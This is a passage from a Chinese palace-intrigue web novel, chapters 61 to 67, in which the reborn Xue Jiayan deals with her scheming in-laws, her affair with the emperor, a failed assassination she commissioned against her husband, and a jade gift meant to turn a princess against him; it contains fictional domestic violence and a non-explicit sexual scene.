满心憋屈无处撒,戚炳春揣着仅剩的二两银子,拐进了城南的“倚红楼”,找他从前相好的红儿。 红儿见他来,脸上没了往日的热络,只淡淡叫小二上了几碟小菜一壶酒。 戚炳春喝得醉醺醺的,伸手就去拉红儿的手,语气含糊:“红儿……陪爷……今晚爷高兴……” 红儿却猛地抽回手,往后退了一步,脸上带着几分讥讽:“戚爷,您今日本子上只记了酒钱,可没记别的。小女子也要吃饭,您要是想寻乐子,先把银子付了再说。” “你!”戚炳春气得脸红脖子粗,可摸遍全身,也凑不出再多的银子,只能眼睁睁看着红儿转身招待别的客人,把他晾在原地。一股从未有过的屈辱和挫败涌上心头,他摔了酒碗,阴沉着脸往家走。 刚到巷口,戚炳春就看见栾氏鬼鬼祟祟地往马寡妇家的方向走。 第62章 糊涂与机灵 戚炳春心里咯噔一下,这娘们不在家看着女儿,莫不是背着他偷人?他压着怒火,悄悄跟在后面,扒着马寡妇家的院墙往里瞧,只见屋里摆着张方桌,栾氏正和马寡妇几人围着桌子打马吊,桌角还堆着几串铜钱,显然是有彩头的。 “好你个败家娘们!” 戚炳春一脚踹开门冲进去,伸手就薅住栾氏的头发,硬生生把她从椅子上拽下来,往门外拖。 戚炳春一路把栾氏拽回家里,咬牙问道:“少亭媳妇不是没发月钱吗,你哪来的银子出去打马吊!” 栾氏的头发被他拽得生疼,手忙脚乱地想掰开他的手:“放手!疼死我了!银子是我……我卖了屋里那个青釉花瓶得的!” “败家娘们!”戚炳春手上的力道更重,抬手就给了她一巴掌,“啪”的一声,栾氏的脸颊瞬间红了一片。 “家里的东西是你能随便卖的?我看你是疯了!”他连着又扇了六七巴掌,直到栾氏哭着瘫在地上,才停下手,粗暴地搜遍她的布包,把里面的铜钱和碎银子全掏出来揣进自己怀里。 看着怀里零碎的银子,戚炳春的脸色稍缓,心里却盘算起来。 近薛嘉言是越来越抠门,月例银子总说“手头紧”,连他要几两银子出去应酬都推三阻四。他摸不准薛嘉言是真没钱,还是故意拿捏他们,不过算算日子,戚少亭也该从外地差事上回来了。 等儿子回来,让儿子去跟薛嘉言开口,凭着夫妻情分,总能让她想办法赶紧拿钱,再找找关系给他谋个差事。 卧床静养了七八日,戚倩蓉总算能扶着墙下地走动了。毕竟是年轻,底子还在,身子虽未完全恢复,却已能勉强起身。只是脸色仍像张浸了水的白纸,连唇瓣都没什么血色,走两步就喘,得靠丫鬟彩鸢扶着才能站稳,往日里灵动的眼神也没了光,只剩一片灰蒙蒙的黯淡。 她只敢在院子里透透气,可不敢出门。院墙外总飘着街坊的闲言碎语,风一吹就钻进耳朵里:“戚家那姑娘啊,裤带子太松了,真是伤风败俗。” “乡下来的野丫头,能有什么教养,做出这种事也不稀奇。” …… 戚家的人出门也不好过。栾氏去和戚炳春出门就被人指指点点,弄得两人这些日子也尽量不出门了。 一肚子火气没处撒,戚炳春看见戚倩蓉坐在窗边抹眼泪,火“噌”的就上来了。 他指着戚倩蓉的鼻子,声音大得整个院子都能听见:“蠢货!没脑子的东西!白白被人睡了,还不如窑姐呢!” 戚倩蓉吓得浑身发抖,眼泪掉得更凶,想辩解,可话到嘴边又咽了回去。魏扬自从给了那五百两银票,就再也没露过面,连封书信都没有,派去伯府的人也被门房拦在外面,连魏扬的面都见不着。 往后的日子,戚倩蓉更是整日以泪洗面,两只眼睛肿得像两颗核桃,人也一天比一天瘦,原本圆润的脸颊都凹了下去。 司春把这些事说给薛嘉言听时,薛嘉言心里却没什么波澜。她想起前世戚倩蓉是怎么叉着腰站在廊下骂她“贱人、淫妇、不要脸;想起她跟栾氏抢走棠姐儿时,戚倩蓉说“这孩子可不能跟着你,别像你一样不要脸”。 那些刻薄的话还在耳边回响,再看如今戚倩蓉的模样,薛嘉言只淡淡勾了勾唇角,一切不过是报应罢了。 司春叹了一口气,劝道:“奶奶,婢子多一句嘴,蓉姑娘毕竟是大爷的妹妹,奶奶还是得顾一顾大爷的体面。” 薛嘉言闻言蹙眉,直视着司春,定定看着她。 司春被她的目光看得有些不自在,忙跪下来解释道:“奶奶,婢子也是为您和大姐儿考虑,戚家毕竟是你们的靠山,家和万事兴,有一个声名狼藉的姑姑,对大姐儿将来也不好。” 薛嘉言冷冷看着司春,问道:“我的事情,别人不知道,你是知道的,有一个声名狼藉的姑姑不好,有一个声名狼藉的母亲就好了?戚少亭把我送到宫里时,他考虑过这些吗?” 司春脸色大变,震惊道:“这怎么可能?!明明是皇帝不好,强迫大爷把您送去的。这件事有张公公做主,又不会泄露出来,不会影响大姐儿的。” 薛嘉言懒得跟司春解释什么,她只是冷冷说道:“司春,你要记住,你是薛家的人,不是戚家的人!” 司春脸上惶恐,好半晌才含泪说道:“奶奶,婢子知错了,婢子只是盼着您好。” 薛嘉言有些烦躁地摆摆手让她出去。 司春出了内室,回到厢房,司雨看到她眼睛红红的,便问发生了什么事。 司春简单把事情说了一遍,司雨摇了摇头道:“司春姐姐,你别怪我说你,咱们薛家的人,不是戚家的人。咱们的根在薛家,奶奶和大姐儿才是咱们要护着的。蓉姑娘落到今天这步,是她自己选的,与奶奶何干呢?” 司春拭了拭眼角的泪,哽咽着道:“我也是为了奶奶,总是一家人,难道还能割舍不能?” 司雨眼神复杂地看了看司春,小声道:“司春姐姐,奶奶的事别人不知道,咱们是知道的,如今大爷高升五品官,是怎么升的,你难道不清楚?眼下大爷还用得到奶奶,彼此相安无事,等日后那位厌了奶奶,大爷也坐稳了官职,你觉得他还容得下奶奶?我私心觉得,奶奶得为自己打算打算,这阵子冷眼瞧着,奶奶已经这么做了。” 司春大惊:“怎么会呢?奶奶是大爷的结发妻子,那位是天子,他想要,大爷就得给,难道还能怪到奶奶头上去。况且,还有大姐儿在呢,我看你是想多了。” 司雨沉默了一会才道:“我也盼着是我想多了。总之往后咱们只听奶奶的,你可别自作主张。” 司春怔了怔,点头道:“嗯,我晓得了,往后不多嘴了。” 第63章 你想进宫吗? 近来政事繁忙,朝堂上忙着修订漕运章程,又到了十年一次黄册重新修订的时候,姜玄连日召见大臣议事,竟有大半个月没召薛嘉言入宫。 薛嘉言心底总悬着一块石头,前几次入宫,两人虽有花前赏月的温存,也有耳鬓厮磨的亲近,可姜玄始终没与她行欢,明明拥抱时能感受到他紧绷的身体,亲吻时能察觉他急促的呼吸,却总在最后关头停下,她实在猜不透这位帝王到底想要什么。 这日傍晚,张鸿宝派人递来一句口信,说是今夜要她入宫。薛嘉言眼底闪过一丝决绝,今夜,无论如何都要打破这僵局,她豁出去了。 天色暗下来后,薛嘉言换好衣裳出门,一阵微风卷着雨丝飘落在脸上,带来一丝清凉。 她坐在马车里,雨势渐密,淅淅沥沥的雨丝敲在马车上,“嘀嗒嘀嗒”的声响像落在心尖上,搅得她心绪难安。 前世她进宫的那些年,从未想过“引诱”皇帝,每次侍寝都是被动承受,像件没有知觉的摆设,任姜玄予取予求。 重生以来,她虽打定主意要借姜玄的势,拘泥于教养,却也只做到“不再抗拒”,最多不过是缝了件轻透的纱衣,姜玄还没有看到。 此刻,薛嘉言想起前世母亲被肃国公府和高家欺辱的那些画面,她狠狠咬了咬下唇,他们不是总骂她“狐狸精”吗?前世她没做过,今生便索性学一学这“狐狸精”的做派,至少不能枉担了那虚名。 宫女玉珍早已候在殿外,见她过来,连忙上前引路:“薛主子,奴婢先带您去更衣。” 殿内点着两盏蟠龙烛,雨丝敲着窗棂,响起沙沙声。姜玄正坐在窗边的软榻上,手里捧着一本线装话本,他素来喜欢这样的雨夜,听着雨声,读些无关政事的闲书。 听到熟悉的脚步声,他抬起头,目光落在薛嘉言身上,唇角勾了勾,朝她招手。 薛嘉言看着他灯下的模样,睡袍半敞,露出精壮的胸膛,墨发松松挽着,垂落下两缕发丝在颈间,多了几分慵懒,她看着他的胸膛,心跳忽然漏了一拍,忍不住舔了舔唇。 姜玄伸手将她拉到自己腿上坐好,手臂自然环住她的腰,在她耳畔道:“来了?陪朕看一会儿书。” 薛嘉言顺势靠在他胸口,鼻尖萦绕着他身上淡淡的龙涎香,还有些澡豆的味道,他应该沐浴完没多久,熟悉的味道让她心头一阵发烫。 她垂眼看向姜玄手里的书,却没在意里面写的是什么,神思却早飘到了九霄云外。 算起来,两人已有两个月未曾缠绵,先前几次入宫,姜玄要么与她赏花,要么与她闲聊,始终克制着未越雷池,可此刻贴着他温热的胸膛,感受着他沉稳的心跳,她竟也生出几分欲念。 他的身体真的很好,四肢修长,有力,轻松便可把她抱起来,动作时肌肉紧绷,血管都鼓起来了…… 想到那些画面,薛嘉言的脸颊渐渐泛起一层薄红,连耳尖都热了起来。她舔了舔下唇,伸手轻轻攥住姜玄腰间的玉带,忽然仰头,柔软的舌尖轻轻蹭过他线条清晰的下巴,声音软得像浸了蜜的春水:“皇上,我想要你啊。” 这话一出口,姜玄的身子骤然一僵,环在她腰间的手臂瞬间收紧。他低头看向怀里的女子,烛火在她眼底跳着光,带着几分大胆的直白,全然没了往日的羞怯。 她方才说的,不是缠绵的“我想你”,而是直接的“我想要你”! 呼吸瞬间变得粗重,姜玄再也顾不上什么克制,随手将手里的话本往地上一扔,“啪”的一声落在金砖上。 他打横抱起薛嘉言,赤脚急促地往内室的床榻走去,带起一阵风,烛火被吹得微微晃动,映得两人交叠的影子愈发暧昧。 而那本被扔在地上的话本,恰好摊开在那一页:才子执佳人之手,于花下互诉衷肠,情到浓时,低头吻住了她的唇,缱绻风流。 …… 帐幔低垂,床榻间还残留着暧昧的气息,姜玄的胸膛微微起伏,喘息尚未完全平复。 他指腹轻轻摩挲着薛嘉言汗湿的鬓发,声音带着刚经历情事的沙哑,贴着她的耳廓低声问:“言言,你想不想进宫?” “哈?!”薛嘉言先是下意识地轻呼,睫毛颤了颤。 她此刻明明就躺在宫里的寝殿里,怎么还问“想不想进宫”? 很快薛嘉言便明白姜玄话中之意,眼神骤然呆住,心底“咯噔”一下,姜玄怎么会有这种想法? 这问题不好回答,说不想?方才那般主动引诱,若是此刻说不想,刚才那一番勾引不是白费功夫;可说想?她光是想想后宫的日子就脊背发寒。 姜玄今年才十九岁,早晚要选秀纳妃,十几二十个女人挤在四方宫墙里,盼着那点可怜的恩宠,争风吃醋、勾心斗角,一辈子都困在那方寸之地,连呼吸都要提着心,那样的日子,她想想都怕了。 薛嘉言咬着下唇,脑子飞速转着,竟一时想不出妥帖的回答。她心头一急,索性软了身子,喉间溢出一声细碎的嘤咛,双臂缠上他的脖子,脸颊贴着他胸口温热的皮肤蹭了蹭。 “皇上……”她的声音比方才更软,像是掺了蜜的温水,黏黏糊糊地裹着水汽,尾音带着几分的委屈,“我有点不舒服。” 方才的主动大胆还未褪去,此刻又添了几分娇弱的妖媚,眼尾泛着红,说话时气息轻轻扫过姜玄的颈侧,像羽毛似的挠着人心。 姜玄本被她这声软语一勾,刚歇下去的燥热又隐隐燃了起来,喉结不自觉地滚动了一下。 他低头看向床榻上的狼藉,锦被散乱,衣袍扔了一地,再看怀中人眼底的水汽,心头的探究顿时被怜惜取代。他伸手扯过衣架上搭着的寝衣,小心翼翼地将薛嘉言裹住,打横抱起她,脚步轻缓地走到窗边的软榻旁坐下,将她稳稳地圈在怀里。 “都怪朕,刚才没收住。”他的声音更哑了,指尖轻轻揉着她的腰侧,“今晚不碰你了,还有些时间,咱们一起歇会。” 薛嘉言捡起刚被姜玄扔在一旁的话本看起来,不时与姜玄说两句话,绝口不提刚刚他问的那句话。 姜玄刚刚冲动之下脱口而出,眼下清醒了些,也觉得那句话有些荒唐,便顺着薛嘉言说话,没有再问那个问题。 第64章 回来了 夏日午后,薛嘉言捏着来自丹阳的信笺,母亲娟秀的字迹落在纸上。 他们到了丹阳之后,发现外祖父母的坟茔的确有处塌陷,母亲打算将坟茔好好修缮一番,还得置些祭田,一来二去,至少要等到秋天才能回京城。 薛嘉言巴不得母亲能在丹阳多待些时日,母亲留在那边既能避开纷争,过得又比京城舒坦。 她当即铺开宣纸,提笔回信:“娘亲难得归乡,且安心料理外祖父母后事,多待些时日无妨。女儿在京城一切安好,棠姐儿也乖巧,不必挂怀。待您那边安顿妥当,过些日子,女儿或许会带棠姐儿过去探望,也让孩子认认吕家的亲戚。” 墨汁未干,门外忽然传来司春轻快的脚步声,她掀着帘子进来,脸上的笑意快溢出来,声音都比往常亮了几分:“奶奶!大爷回来了!刚进府门呢!” 薛嘉言心中一惊,手上的笔抖了抖,险些弄污了刚写好的信件,心里翻起惊涛骇浪——戚少亭怎么会回来?李虎他们功夫过硬,本就是吃这碗饭的,这一路总能找到机会杀掉戚少亭的,怎么会让戚少亭安然无恙地回来呢? 戚少亭没事,那李虎他们有没有露出行迹呢?若是被人知道是她买凶杀人,她得立刻想办法找到苗菁,先保住自己。 强压下心头的震惊,薛嘉言定了定神,待字迹彻底干透,仔细折好塞进信封,用火漆封了口,吩咐司雨:“让吕征跑一趟,送去驿站。” 安排妥当,她才跟着司春往栾氏的院子去。还没踏进院门,就听见栾氏嚎啕声。 薛嘉言进门后看见栾氏抱着戚少亭哭的肩膀不停发抖,一旁的戚倩蓉站在原地,泪眼汪汪,好似有许多委屈,戚炳春则坐在旁边的椅子上,脸色沉沉的,一言不发。 几个月不见,戚少亭变了不少。比出发前黑了许多,颧骨也高了些,显得愈发清瘦,左侧脸颊一道寸许长的伤口刚结了痂,泛着淡粉色,衬得他原本温和的眉眼多了几分冷硬,身上的衣衫也沾着些尘土,显然是赶路匆忙。 “娘,别哭了。”戚少亭拍着栾氏的背,声音带着旅途的疲惫,“这些事回头慢慢说。我累了,先回自己院子洗漱休息。” 栾氏这才连忙松开手,用帕子擦着眼泪,哽咽着点头:“对对,快回你院子歇着,我这就让厨房给你炖些鸡汤补补身子……你回来太好了,娘就指望着你回来,给你妹妹讨个公道!” 戚少亭从栾氏走过来,目光缓缓移到薛嘉言身上。几个月不见,他的妻肌肤莹白如初,眉眼间不见半分愁绪,反而透着几分娇美。 戚少亭心里不由冷笑,想来这段日子,她在京城里没少被“滋润”,家里乱成这样她倒一点不见憔悴。 春和院的正屋里静得能听见窗外的蝉鸣,薛嘉言坐在靠窗的圈椅上,戚少亭坐在她右侧,眉头拧成一个疙瘩,不时打量两眼薛嘉言。 薛嘉言安安静静坐着,周身却像裹了层看不见的屏障,疏离得让他抓不住。 戚少亭也感觉出来她与从前不同了,这样的她出乎戚少亭的预料,这种不受掌控的感觉,让他心里莫名烦躁。 沉默了半晌,戚少亭终于按捺不住,面色阴郁地开口,语气十分刻薄:“家里怎么会出了这么多事?我出去不过三个多月,你除了陪皇上睡觉,就一点心思没放在家里吗?” 薛嘉言几乎要笑出声,前世她被送进宫后,日日以泪洗面,觉得自己玷污了清白,戚少亭还会假模假样地过来安慰两句,说些“委屈你了”的场面话。如今她看开了,不再为这事伤神,他反倒先沉不住气,说出这样难听的话来。 薛嘉言缓缓抬眼,眼神平静地看向戚少亭,声音没什么起伏:“夫君这话是什么意思?方才在娘的院子里,你已经听爹娘把事情始末说清了,你说说看,这些事情与我何干?” 她顿了顿,话锋陡然转利,带着几分嘲讽:“再说了,你若觉得我不该陪皇上睡觉,下次张鸿宝派人来送信,你直接拒绝便是。夫君你肯慨然赴死,我必紧紧跟着你,绝不独活。” “你!”戚少亭被她这番话堵得呼吸一滞,脸色涨得通红。 他想反驳,却发现薛嘉言说的都是实情。戚倩蓉的婚约连他这个做兄长的都不清楚,苟且之事更是她自己糊涂,确实怪不到薛嘉言头上;而拒绝皇帝……他有那个胆子吗?不过是迁怒罢了。 “可你也该劝劝爹娘,多花些银两把周家笼络住,不就没有这些事了?我刚刚升官,家里就出了这么多事,明日去鸿胪寺述职,还不知要被同僚怎么笑话呢。” 薛嘉言道:“夫君说得轻巧,你爹娘是我能劝得动的?至于银两,我的嫁妆早就贴补完了,光你去顺天府就职就花了千把两,你还要我怎样呢?” 戚少亭的眉头皱得更紧,垂在身侧的手攥了攥,最终还是无力地叹了口气,语气软了些:“罢了,这些事先不提。你让人准备些厚礼,送到晖善长公主府上。我回来的路上遇到了行刺,幸好长公主刚好经过救了我,不然我只怕……回不来了。” 说这话时,他下意识摸了摸脸颊上的结痂,眼底闪过一丝后怕。 那日刺客突然从树林里冲出来,刀光剑影间,他险些就丧了命,若不是长公主的护卫及时赶到,后果不堪设想。 薛嘉言的心猛地一跳,面上却立刻露出紧张的神色,急声问道:“夫君没事吧?伤得重不重?怎么会有人行刺你?刺客抓到了吗?” 第65章 搅黄 看着她紧张的模样,戚少亭心头的烦躁散去了些,觉得她还是关心自己的,便摇了摇头:“只是一点小伤,已经快好了。刺客一个死无全尸,一个跑了,也不知道是谁指使的。我不过是个五品官,怎么会有人花心思来杀我?” 薛嘉言垂下眼,掩去眼底的思绪。 李虎他们没被抓,还好。只是跑了一个,不知道是哪个,得赶紧想办法找到那人,多给些抚恤银子。虽没办成事,但毕竟折了一个人,也付出了代价,不能让人家觉得她言而无信。 她抬起头时,脸上已恢复了温和的神色,轻声道:“没事就好,许是哪个歹人见财起意也说不定。你一路劳累,先去洗漱休息吧。至于谢礼,我想想怎么办。” 戚少亭的脚步声消失在耳房方向,内室瞬间静了下来,只剩窗棂外偶尔掠过的风声。 薛嘉言仍坐在方才的梨花木椅上,思绪却早已飘回了前世的记忆里。 前世戚少亭虽也在鸿胪寺当差,却从未被派遣去大同迎接使团,与晖善长公主的交集,更是要等到两年后,因一场朝堂纷争才偶然扯上关系。 可这一世,不过短短三个多月,他不仅离了京城去了大同,还与晖善长公主有了“救命之恩”的纠葛,这般变化,让薛嘉言心头泛起一丝微妙的不安,仿佛原本循着旧路铺就的轨迹,忽然拐了个意想不到的岔口。 她垂眸沉思,想起前世约莫这个时候,京城里曾传过一段沸沸扬扬的流言,说的正是晖善长公主。那时公主府里来了个唱昆曲的戏子,生得眉目清秀,唱腔又婉转,竟让素来眼高于顶的晖善长公主动了心,想将人留在府中做面首。 可那戏子也是个硬气的,宁死不肯屈从,趁夜从公主府逃了出去。晖善长公主恼羞成怒,竟亲自带着侍卫追了出去,一路上闹得鸡飞狗跳,这事当时在京城传了好些日子,成了百姓茶余饭后的笑谈。 这么算来,戚少亭遇刺被救的日子,恰好与那段流言的时间重合。想来是晖善长公主追那戏子的路上,恰巧撞见了刺客行刺戚少亭,她身边的护卫本就是宫中挑选的精锐,对付几个刺客自然不在话下。 薛嘉言前世临死前的画面忽然清晰浮现,戚少亭站在她病床前,嘴角挂着掩不住的得意:“你还不知道吧?长公主已有了我的骨肉,太医诊过了,是个男孩!” 那时她刚得知母亲病逝的消息,整个人沉浸在巨大的悲痛里,对这消息只觉得麻木。 如今再细想,她忍不住冷笑,长公主府里面首众多,陪寝的人换了一个又一个,戚少亭不过是其中之一,他凭什么笃定腹中孩子就是他的?分明是见晖善长公主得姜玄格外爱护,想攀附皇亲,甘愿做那自欺欺人的王八罢了。 薛嘉言眼底闪过一丝冷光,送谢礼可以,但绝不能让这礼成为戚少亭攀附的梯子,反倒要让这礼,成为离间他和晖善长公主的楔子。 她想起关于晖善长公主与驸马的传闻,想到要送什么了。 “司雨,”薛嘉言扬声唤道,“去我嫁妆库里,把那尊和田白玉雕的荷花取来。” 司雨很快捧着个描金锦盒回来,打开一看,里面卧着一尊三寸高的白玉荷花,玉质温润如凝脂,没有半点杂色,花瓣层层叠叠,一看就是价值不菲的珍品。 司雨轻轻抚摸着玉雕,脸上满是不舍:“奶奶,这可是您嫁妆里最精致的玉件了,送出去本就可惜,还是送给长公主那样的人……这不是糟蹋了吗?” 薛嘉言伸手拂过冰凉的玉瓣,唇角勾起一抹意味深长的笑:“没事,不过一件玉器罢了,往后我还会有更多更好的东西。” 她顿了顿,语气加重了几分,“你让人把锦盒包好,送去长公主府时,一定要跟府里的人说清楚,这尊白玉荷花,是戚少亭戚大人特意挑选,为谢公主救命之恩所赠。” 司雨虽不解其中深意,却还是点头应下,捧着锦盒退了出去。 薛嘉言坐在窗边,望着窗外飘落的梧桐叶,笑意更深——连司雨都知道长公主的名声,可见她与驸马之间那些事,京城里早不是秘密。 关于晖善长公主与驸马的往事,京城里虽少有人敢明着议论,却在私下里传得很广。 驸马原是颍川张家的嫡次子张珩,生得面如冠玉,一手书法更是名动江南,连宫中的学士都曾赞他“笔底有清风”。 当年他与长公主在曲江宴上初见,一个是金枝玉叶,一个是翩翩才子,竟似命中注定般一眼倾心。 张珩不顾家族劝阻,毅然尚主,成婚那日,红绸从公主府一直铺到朱雀大街,羡煞了多少人。 可这份深情,只维持了两年。婚后两年,张驸马便撞破了长公主与贴身侍卫的私情。 张驸马性子刚烈,又素来重“清白”二字,悲愤之下竟回了书房,亲手写下一封绝笔信,而后悬梁自尽。 侍从发现时,他早已没了气息,脚下散落着一张刚完成的《清荷图》,宣纸上的白荷茕茕孑立,旁侧题着一行小楷:“一身清白来,不染尘埃去”,墨迹未干,成了他最后的绝笔。 这段往事,薛嘉言当年跟姜玄争吵时说过,说他们夫妻一个在他床上,一个在长公主床上,奸夫淫妇正好配禽兽姐弟,当时姜玄气得将她推下床,命张鸿宝马上把她送走。姜玄这么生气,想来是真的。 她正是知道这段往事,才特意选了那尊和田白玉荷花。 长公主见了这玉雕,怎会不想到那位以清白自守、最终含恨而终的驸马?她定会觉得,戚少亭是故意送这“清白”象征的物件,要么是暗讽她当年失德,要么是认为他怕她看上他,他不愿失去清白委身长公主,借此羞辱她。 果不其然,司雨领着人将玉雕送到长公主府后,便如泥牛入海,连句回话都没有。 过了两日,戚少亭处理完手头的差事,想起这事,忍不住问薛嘉言:“长公主那边,怎么一直没个动静?就算不回礼,好歹也该让人传句话吧?” 薛嘉言闻言抬头,神色平静得像是早有预料:“许是长公主事忙,忘了。” “忘了?”戚少亭皱起眉,语气里带着几分不解,“救命之恩,怎么会忘了?你到底送的什么礼?” “一尊和田白玉雕,”薛嘉言垂下眼,语气轻描淡写,“我想着长公主身份尊贵,那座玉件雅致,是我嫁妆里最值钱的摆件,该合她心意的。” 戚少亭更疑惑了:“玉雕?这礼物也不出格啊,既不僭越,也不寒酸,怎么会连个回话都没有?” 薛嘉言道:“兴许人家没有把救你当回事。” 戚少亭琢磨了片刻,觉得薛嘉言说得也有道理——长公主何等身份,怎会真把他一个五品官的“恩情”当回事?这么一想,他便不再纠结长公主的态度,将这事抛在了脑后。 第66章 你敢赌吗 鞑靼使团进京,京中各府皆忙着应酬接待,薛嘉言料想姜玄政务繁忙,定然无暇召她入宫,便趁这空档备了些时令果子,往苗菁府上去。 她心里存着事,李虎二人行刺未果,一个身死一个潜逃,至今没半点音讯,苗菁是中间人,若能遇上他,正好问问后续。 郭晓芸见她来,忙笑着迎进内院,两人坐在葡萄架下说话。 桌上摆着冰镇的酸梅汤,清甜解暑,两人说了一会闲话,薛嘉言才状似无意问起苗菁。 “苗三弟最近可能有公务,好几日没回家了。” 薛嘉言心里微微一沉,知道这趟是问不出结果了,便不再多提,又陪着郭晓芸聊了些闺阁琐事,眼看日头西斜,才起身告辞。 刚走到戚家大门口,却见戚少亭快步走来。他往日里总爱收拾得体面,今日却形容狼狈,左侧脸颊一道鲜红的鞭痕,皮肉高高肿起,看着触目惊心,身上的官袍也破了道寸许长的口子,脸色更是阴沉得能滴出水来。 薛嘉言心头暗喜,不知是谁给她出了一口气,面上却立刻堆起关切,快步上前两步,蹙眉道:“夫君这是怎么了?好好的怎会受伤?” “长公主简直嚣张跋扈到了极点!”戚少亭一边往里走,一边咬牙切齿说着。 “方才我在街角偶遇她的仪仗,想着那日她护卫救了我,虽没收到回话,好歹该当面再谢一声,便上前想行礼问好。谁知我刚张嘴,她二话不说,扬手就一马鞭甩过来!还指着我的鼻子骂,说什么‘癞蛤蟆想吃天鹅肉’,‘凭你也配肖想本宫’!” 他越说越气,胸膛剧烈起伏:“我何时肖想她了?不过是谢恩罢了!她竟如此不分青红皂白,动手伤人!真是岂有此理!” 薛嘉言垂眸,掩去眼底一闪而过的冷笑。 戚少亭,你哪里是没肖想?不过是你的心思刚冒头,就被长公主狠狠打了回来。 薛嘉言忍住笑意,轻声道:“夫君受委屈了。长公主身份尊贵,性子又向来乖张,你也只能自认倒霉了。我让司春拿些消肿的药膏来给您敷上。” 夜里,棠姐儿的呼吸已经变得绵长匀净,小脸埋在软枕里睡得香甜。 薛嘉言替女儿掖好被角,刚吹灭床头的银灯,门外就传来司春的声音:“奶奶,大爷在书房叫您,说有要事。” 薛嘉言生出几分不耐,又想看看戚少亭在使什么心思,便披了一件外衫,跟着司春往书房去。 书房的门虚掩着,薛嘉言推开门时,先闻到一股淡淡的澡豆味。戚少亭身上穿件月白半袖寝衣,领口松松垮垮挂在肩头,头发湿漉漉的,显然是刚沐浴完,便急着叫她来。 薛嘉言站在门口没动,目光落在他身上时,忍不住将眼前人与姜玄比:戚少亭的个子比姜玄矮了小半头,她不必刻意抬头就能看清他的眉眼;他穿着的寝衣同姜玄一件寝衣颜色相似,衣裳颜色相似,下面的身形却不相同,姜玄肩背线条也总是绷得紧实,充满了蓄势待发的压迫感,而戚少亭则显得单薄了些。 薛嘉言的目光顺着寝衣往下看,越往下,越是云泥之别。 …… “嘉嘉,来。” 戚少亭的声音柔得发腻,打断了薛嘉言的思绪。他抬眼看向她,眼神里带着几分刚沐浴后的迷离,还有一丝急切。 薛嘉言脚没动,低声问道:“夫君叫我来,是有什么事?” 戚少亭却起身走过来,不由分说抓住她的手腕,将她往怀里揽。 他的掌心汗湿,带着黏腻的温度,让薛嘉言瞬间起了一层寒毛。 “能有什么事?”他凑在她耳边,呼吸带着淡淡酒气,“我们已经几个月不曾敦伦了,嘉嘉,我真的受不了了。” 薛嘉言被他箍在怀里,胸口贴着他单薄又滚热的胸膛,恶心感像潮水般涌上来。她想推开,却被他越抱越紧。 “皇上说了……”她急着找借口,话还没说完,就被戚少亭粗暴地打断。 “皇上说了又如何?”他的声音沉下来,带着几分破罐破摔的蛮横,“你不说,我不说,皇上怎么会知道?薛嘉言,你别忘了,你是我的娘子!我睡你,天经地义!” 他的手开始不安分地往她衣襟里探,眼神里的急切彻底暴露,全然没了平日的斯文模样。 薛嘉言仍站在原地,脊背挺得笔直,尽量平静地说道:“你怎么知道皇上会不知道?” 戚少亭的身体猛地一僵,带着急切的动作止住了,他张了张嘴,喉结滚动半天才挤出一句:“不……不会吧?” 薛嘉言轻轻挑了挑眉,缓缓说道:“礼部李侍郎府中妾室娇憨,一日夜里抱怨他为太后寿诞谋划数月,却只得了陛下一句嘉奖,连赏赐都无。这话不过是闺房里的私语,结果第二日早朝,陛下当着满朝文武的面就打趣李侍郎,说下次赏厚些,省得被他爱妾嫌弃——你说,这闺房私语,陛下是怎么知道的?” 这话像一道惊雷,劈得戚少亭浑身一震。 李侍郎的事他自然听说过,当时还跟同僚笑话李侍郎。他攥紧了寝衣的衣角,心里的侥幸像被冷水浇过的炭火,渐渐熄灭。 可他还是忍不住辩驳:“可……可李侍郎是三品重臣,陛下自然关注,我……” 薛嘉言嗤笑一声道:“夫君若是愿意赌,我就陪你赌一把。” 她说得轻巧,却像重锤砸在戚少亭心上。他刚刚燥热的血液慢慢变凉,有些无力地坐到椅子上,目光涣散地盯着地面的青石砖,半晌没有说话。 书房里只有烛火偶尔爆裂的轻响和窗外隐约的虫鸣,空气沉得让人窒息。过了许久,他才像是抽走了所有力气般,声音沙哑地开口:“罢了……你回去吧。” 薛嘉言没有多言,转身朝着门口走去。 随着门被轻轻带上,书房里只剩下戚少亭一个人,在摇曳的烛火里,身影愈发佝偻。 第67章 不能白死 第二日清晨,薛嘉言还在半梦半醒间,门外有细微的声响。她觉浅,一点动静都能扰到心神,便闭着眼静静听着。 是春桃的声音,带着几分怯生生小声说:“司春姐姐,刚才我去大爷书房那边洒扫,在脚踏边拾着块帕子,不知是谁落在那儿的。” 紧接着是司春压低的回应:“哦?拿来我看看。许是谁不小心掉的,回头我问问各院的人,别让人瞎传闲话。” 门外的声音渐渐远了,薛嘉言睫毛颤了颤,面上依旧平静无波,连眉峰都没动一下。倦意再次涌上来,她往锦被里缩了缩,又阖着眼睡了小半个时辰。 等她彻底醒时,司春已端着铜盆进来伺候梳洗。 、司春一边帮她梳头,一边小声禀报:“奶奶,大爷今日走前交代,说今日皇上要在太极殿宴请鞑靼使团,他作为鸿胪寺属官的陪同入宫,晚上怕是要晚些回来。” 薛嘉言随口应了声:“知道了。” 刚梳好发髻,司雨又掀帘进来说:“奶奶,苗府刚送来的信,说郭大奶奶请您今日过去说话。” 薛嘉言心里有数,郭晓芸不会无缘无故约她,多半是苗菁要找她。 用过早膳,薛嘉言带着两个丫鬟往郭府去。刚踏进正厅,就见苗菁竟也在,他穿着身藏青色便服,神色比往日严肃些,见她进来,便让郭晓芸先带着丫鬟避开。 待屋里只剩两人,苗菁才开门见山道:“薛大奶奶,李虎回来了。只是他兄弟王彪,在路上出了意外,尸骨无存。今日找你来,是想问问您,能不能给些抚恤银子,也好给王彪的家人一个交代。” 薛嘉言知道他们是拿命做事的人,但听到这种消息,心里还是很沉重,当下便点头:“当然可以,这是我该给的。不知我能不能单独见见李虎?” 苗菁应了声:“稍等,他等下过来,你们聊,我还有事,先走一步。” 不多时,一个穿着灰布短衫、头发花白的“老人”跟着进来。这人脸上皱巴巴的,还沾着些尘土,若不是那双眼睛亮得惊人,薛嘉言几乎认不出这是李虎。 他比上次见时瘦了太多,颧骨都凸了出来,显然是受了伤,连走路都有些跛。 薛嘉言语气诚恳道:“李壮士,让你和王壮士受苦了。之前我答应给你们的银子,今日翻倍给你。王壮士的那份,也按双倍算,你替我转交他的家人。” 李虎原本垂着头,听到这话猛地抬起眼,眼眶瞬间红了。 他其实满心愧疚,当初答应了要杀戚少亭,结果不仅没办成,还差点露出行迹。若不是王彪的老母亲还在乡下等着钱治病,他实在拉不下脸来要这笔银子。 